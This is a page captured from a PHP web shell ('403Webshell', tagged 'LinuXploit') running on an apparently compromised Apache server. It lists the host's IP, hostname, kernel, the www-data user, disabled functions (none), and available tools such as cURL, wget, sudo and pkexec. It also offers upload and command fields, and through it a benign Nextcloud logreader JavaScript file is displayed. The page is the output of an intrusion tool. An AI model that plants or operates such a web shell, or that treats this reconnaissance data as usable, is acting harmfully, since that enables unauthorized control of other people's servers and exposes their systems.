403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/nextcloud/apps/logreader/js/Providers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/nextcloud/apps/logreader/js/Providers/LogFile.js
import {LogProvider} from './LogProvider.js'

export class LogFile extends LogProvider {
	constructor (content, limit) {
		super(limit);

		// newlines that aren't proceeded by a '}' are either invalid or cary no meaning
		content = content.replace(/([^}])\s*([\n\r]+)/g, "$1");

		this.content = content;
		this.lines = this.content.split('\n');
	}

	async loadEntries (offset, count = 50) {
		const start = this.lines.length - offset;
		const end = Math.max(start - count - 2, 0);
		const entries = this.lines.slice(end, start).reverse()
			.map(this.tryParseJSON)
			.map(entry => {
				if (!entry.id) {
					entry.id = Math.random() * 10000;
				}
				return entry;
			});
		return {data: entries};
	}

	tryParseJSON (json) {
		try {
			return JSON.parse(json);
		} catch (e) {
			// fix unescaped message json
			const startPos = json.indexOf('"message":"') + ('"message":"').length;
			const endPos = json.lastIndexOf('","level":');
			const start = json.substr(0, startPos);
			const end = json.substr(endPos);
			const message = json.substr(startPos, endPos - startPos);

			const escapedMessage = message.replace(/([^\\]|^)["]/g, '$1\\"');
			json = start + escapedMessage + end;

			try {
				return JSON.parse(json);
			} catch (e) {
				console.log('Error while parsing log message:');
				console.log(json);
				console.error(e);
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit